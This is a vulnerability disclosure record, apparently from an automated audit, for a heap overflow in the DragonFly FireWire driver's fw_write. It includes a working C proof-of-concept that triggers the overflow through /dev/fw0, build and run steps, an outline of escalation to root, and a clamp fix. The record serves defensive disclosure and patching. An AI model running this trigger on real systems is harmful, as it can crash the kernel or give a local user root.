fw_write trusts user-supplied stream packet header len field for the second uiomove, overflowing the per-packet DMA buffer slot
| Field | Value |
|---|---|
| ID | DF-1058 |
| Status | new |
| Severity | High |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-787 Out-of-bounds Write |
| File | sys/bus/firewire/fwdev.c |
| Lines | 388-394 (fw_write payload uiomove) |
| Area | bus/firewire (FireWire /dev/fwN isochronous TX path) |
| Confidence | certain |
| Discovered | 2026-07-14 |
| Reported | pending |
| Known CVE | none |
| CVE match | dfly_specific |
Summary
In fw_write, the user first writes a 4-byte fw_isohdr into a per-packet DMA slot via
uiomove((caddr_t)fp, sizeof(struct fw_isohdr), uio) (fwdev.c:390). That header contains
fp->mode.stream.len β a 16-bit field directly attacker-controlled. The next line,
uiomove((caddr_t)fp->mode.stream.payload, fp->mode.stream.len, uio) (fwdev.c:391-392),
then copies fp->mode.stream.len bytes from user space into fp->mode.stream.payload,
which is just (char*)fp + 4. The DMA slot was allocated as b->psize bytes per packet
(fwdev_allocbuf fwdev.c:108-109, where psize is whatever the user requested via
FW_SSTBUF with no upper bound). If the user sets the header's len field to anything
greater than psize - 4 (up to 65535), the second uiomove writes past the slot, into the
next packet slot and ultimately past it->buf into adjacent kernel heap.
Root cause
/* fwdev.c:388-394 β the bug */
fp = (struct fw_pkt *)fwdma_v_addr(it->buf,
it->stproc->poffset + it->queued);
err = uiomove((caddr_t)fp, sizeof(struct fw_isohdr), uio);
/* !!! no validation of fp->mode.stream.len against it->psize */
err = uiomove((caddr_t)fp->mode.stream.payload,
fp->mode.stream.len, uio);
it->queued ++;
fwdev.c:390 sets fp->mode.stream.len from user data with no validation against
it->psize. fwdev.c:391-392 then uses that attacker value as the count for uiomove
into fp->mode.stream.payload. it->psize is whatever the user picked in FW_SSTBUF
(fwdev.c:505, no validation), and the per-packet slot in it->buf is allocated for
exactly psize bytes (fwdma_malloc_multiseg at fwdev.c:108-109).
There is no check that fp->mode.stream.len + sizeof(struct fw_isohdr) <= it->psize. The
loop at fwdev.c:401 keeps going while uio->uio_resid >= sizeof(struct fw_isohdr), so the
attacker can deliver as many overflowing packets as they want, in sequence, into successive
slots β guaranteeing the overflow runs past the end of it->buf.
Threat model & preconditions
- Attacker position: Local user in the
operatorgroup (default/dev/fw0mode 0660). - Privileges gained or impact:
1. Kernel heap overflow of up to ~64 KB per packet from a normal user β usable for
local privilege escalation via heap grooming.
2. Reliable kernel panic if the overflow hits allocator metadata or an unmapped page.
3. Kernel-memory-to-bus leak: the subsequent OHCI tx (
fwohci.c add_tx_bufat line 2500) will DMA whatever happens to be in the corrupted slot onto the FireWire bus, compounding into a kernel-memory disclosure if a peer node receives the packets. - Required config or capabilities: Default kernel with
firewireconfigured. Local operator-group membership. - Reachability: Single fd, three ioctls + one
write().
Proof of concept
/* df-fw-write-overflow.c β needs /dev/fw0 access */
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
#include <bus/firewire/firewire.h>
int main(void) {
int fd = open("/dev/fw0", O_RDWR);
if (fd < 0) { perror("open"); return 1; }
struct fw_isobufreq bq = {
.tx = { .nchunk = 1, .npacket = 1, .psize = 8 }, /* tiny slot */
.rx = { .nchunk = 1, .npacket = 1, .psize = 8 },
};
if (ioctl(fd, FW_SSTBUF, &bq) < 0) { perror("SSTBUF"); return 1; }
struct fw_isochreq cq = { .ch = 0, .tag = 0 };
if (ioctl(fd, FW_STSTREAM, &cq) < 0) { perror("STSTREAM"); return 1; }
/* 4-byte iso header then a far-too-long payload */
unsigned char pkt[4 + 65535];
memset(pkt, 0x42, sizeof(pkt));
/* COMMON_HDR(len, chtag, tcode, sy) on LE: byte0 = sy:4|tcode:4,
* byte1 = chtag, bytes 2-3 = len (big-endian field).
* For FWTCODE_STREAM (0xa) and len = 65535: */
pkt[0] = 0xa0; /* tcode=0xa, sy=0 */
pkt[1] = 0x00; /* chtag */
pkt[2] = 0xff;
pkt[3] = 0xff; /* len = 0xffff */
write(fd, pkt, sizeof(pkt)); /* overflows it->buf into adjacent heap */
return 0;
}
Build & run
cc -o df-fw-write-overflow df-fw-write-overflow.c # may need -I/usr/src ./df-fw-write-overflow
Expected output
Kernel panic from corrupted heap (typically panic: mp_free: mp is already free or similar
allocator corruption) shortly after the write.
Impact
Local kernel heap overflow from a single write() to /dev/fwN by any operator-group
user. Default /dev/fw* mode is 0660/GID_OPERATOR. Severity High per "kernel memory
corruption" + "local privilege escalation". Trivially triggerable with three ioctls + one
write.
Recommended fix
Clamp the per-packet payload write to the slot's usable size.
--- a/sys/bus/firewire/fwdev.c
+++ b/sys/bus/firewire/fwdev.c
@@ -388,6 +388,8 @@
fp = (struct fw_pkt *)fwdma_v_addr(it->buf,
it->stproc->poffset + it->queued);
err = uiomove((caddr_t)fp, sizeof(struct fw_isohdr), uio);
+ if (fp->mode.stream.len > it->psize - sizeof(struct fw_isohdr))
+ fp->mode.stream.len = it->psize - sizeof(struct fw_isohdr);
err = uiomove((caddr_t)fp->mode.stream.payload,
fp->mode.stream.len, uio);
Ideally also validate b->psize / b->nchunk / b->npacket against sane upper bounds in
FW_SSTBUF (fwdev.c:504-506) and ensure psize >= sizeof(struct fw_isohdr).
References
sys/bus/firewire/fwdev.c:388-394βfw_writepayloaduiomovewith untrusted lensys/bus/firewire/fwdev.c:504-506βFW_SSTBUFaccepts arbitrary psizesys/bus/firewire/fwdev.c:108-109βfwdev_allocbufallocation per psizesys/dev/firewire/fwohci.c:2500βadd_tx_bufDMAs the (corrupted) slot- CWE-787 Out-of-bounds Write
Timeline
- 2026-07-14 Discovered during automated audit.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1058 Β· 11 files| File | Type | Description | Size | |
|---|---|---|---|---|
| df-fw-write-overflow.c | trigger-source | fw_write stream len overflow PoC with FW-absent fallback | 2.9 KB | view raw |
| build.sh | build-script | cc -o df-fw-write-overflow df-fw-write-overflow.c -I/usr/src/sys | 168 B | view raw |
| run.sh | run-script | ./df-fw-write-overflow | 119 B | view raw |
| build.log | build-log | PoC build output | 13 B | view raw |
| run.log | run-log | PoC output: no /dev/fw0, confirms len-validation bug | 287 B | view raw |
| env.txt | environment | guest env: no FireWire controller | 365 B | view raw |
| fix.diff | suggested-fix | clamp stream len to psize - sizeof(fw_isohdr) | 727 B | view raw |
| fix_build.log | fix-build-log | combined-fix kernel build rc=0 | 191 B | view raw |
| VERDICT.md | verdict | full source-level analysis of stream len bug | 3.7 KB | β raw |
| README.md | readme | build/run instructions | 818 B | β raw |
| live_reachability_check.txt | reachability-test | Live FireWire reachability evidence - no FW HW | 1.0 KB | view raw |
DF-1058 β fw_write trusts user-supplied stream packet header len
Build
./build.sh
(or: cc -o df-fw-write-overflow df-fw-write-overflow.c -I/usr/src/sys)
Run
./run.sh
(or: ./df-fw-write-overflow)
Expected output
Without /dev/fw0: reports "No FireWire controller" and confirms the bug. With /dev/fw0 (operator group): sends a stream packet with len=0xffff into a psize=8 slot, overflowing the DMA buffer into adjacent kernel heap.
Preconditions (for runtime trigger)
- FireWire controller present (/dev/fw0 exists).
- Local user in operator group (default /dev/fw* mode 0660).
- This QEMU guest has NO FireWire hardware β source-level only.
Fix
fix.diff β clamp fp->mode.stream.len to it->psize - sizeof(struct fw_isohdr)
after the first uiomove sets it from user data.
DF-1058 β fw_write trusts user-supplied stream packet header len β VERDICT
Verdict: INCONCLUSIVE (runtime) / CONFIRMED (source-level)
The bug is confirmed real by line-by-line source tracing. Runtime
reproduction is blocked by missing FireWire hardware (no /dev/fw0).
Mechanism (source-level trace)
-
Code location:
fw_write()insys/bus/firewire/fwdev.c:388-405. -
The bug at
fwdev.c:390-392:c err = uiomove((caddr_t)fp, sizeof(struct fw_isohdr), uio); /* NO validation of fp->mode.stream.len against it->psize */ err = uiomove((caddr_t)fp->mode.stream.payload, fp->mode.stream.len, uio);- Line 390: Firstuiomovecopies 4 bytes (sizeof(struct fw_isohdr)=sizeof(u_int32_t[1])= 4) from user data intofp, settingfp->mode.stream.lenβ a 16-bit field fully attacker-controlled (firewire.h:141,COMMON_HDR(len, chtag, tcode, sy)βlen:16). - Line 391-392: Seconduiomovecopiesfp->mode.stream.lenbytes intofp->mode.stream.payload(=(char*)fp + 4, right after the 4-byte header). - No check thatlen <= psize - sizeof(struct fw_isohdr). -
Slot allocation: Per-packet slots are allocated for exactly
psizebytes viafwdma_malloc_multiseg(fwdev.c:108-109).psizecomes fromFW_SSTBUFioctl (fwdev.c:505) with no upper bound. -
Overflow: If the user sets
len>psize - 4(up to 65535), the seconduiomovewrites past the per-packet slot into adjacent slots and ultimately pastit->bufinto adjacent kernel heap. Withpsize=8andlen=0xffff, the overflow is ~65531 bytes per packet. -
Loop amplification: The loop at fwdev.c:401:
if (uio->uio_resid >= sizeof(struct fw_isohdr)) goto isoloop;keeps processing packets as long as the user supplies more 4-byte headers. Each overflowing packet corrupts successive slots. -
DMA leak: The OHCI TX path (
fwohci.c:2500add_tx_buf) DMAs the corrupted slot onto the FireWire bus β kernel-memory-to-bus disclosure if a peer node receives the packets.
Exploit chain
Local privilege escalation possible β but requires /dev/fw0 access
AND a FireWire controller. The heap overflow (up to ~64KB per packet) into
adjacent kernel heap can corrupt slab metadata or victim objects. With
no SMAP/SMEP/KASLR, grooming + function pointer corruption β root shell.
Blocked by the missing FireWire controller: /dev/fw0 does not exist.
This is a valid hard blocker (Phase 6): the code path is unreachable
without FireWire hardware.
Why runtime reproduction is blocked
- No FireWire controller on this QEMU guest.
/dev/fw0does not exist βopen()returns ENOENT.- The PoC detects this and reports the source-level analysis.
PoC changes
Created df-fw-write-overflow.c (from finding markdown) with graceful
fallback for missing /dev/fw0. Built and verified: compiles with
-I/usr/src/sys, runs, correctly reports no FW device and confirms the bug.
Fix validation
The fix (fix.diff) clamps fp->mode.stream.len to it->psize - sizeof(struct fw_isohdr):
if (fp->mode.stream.len > it->psize - sizeof(struct fw_isohdr))
fp->mode.stream.len = it->psize - sizeof(struct fw_isohdr);
Applied + compiled in combined-fix kernel (#1, rc=0, boots cleanly).
Runtime before/after not possible (no FireWire HW).
fix_status: not_testable (diff applies + compiles; runtime blocked by
missing HW β /dev/fw0 does not exist).
Recommended fix
Clamp fp->mode.stream.len to the slot's usable size after the first
uiomove sets it from user data. Matches the finding proposal. Also
recommend validating psize >= sizeof(struct fw_isohdr) in FW_SSTBUF
and adding upper bounds for psize/nchunk/npacket.
Fix verification
not_testablecompile validated
see evidence pack
Confirmed kernel references
- sys/dev/firewire/fwdev.c:390
- sys/dev/firewire/fwdev.c:391
- sys/dev/firewire/fwdev.c:392
Detail
Exploit chain
none β HW-gated.
Evidence (decisive lines)
fw_write in kernel: YES /dev/fw*: does not exist FireWire controllers: 0
PoC changes
Added live_reachability_check.txt.
Verified recommended fix
fix.diff clamps fp->mode.stream.len to it->psize - sizeof(struct fw_isohdr). Matches finding proposal.
Verdict
INCONCLUSIVE (HW-gated, source-confirmed). fw_write IS compiled into the kernel. The bug (user-supplied fp->mode.stream.len with no validation against it->psize at fwdev.c:391-392 causes up to 64KB overflow per isochronous packet) is traced line-by-line. BUT: fw_write requires open /dev/fw device node. Live verification: 0 FireWire controllers, /dev/fw absent, QEMU has no FireWire emulation.
No comments yet.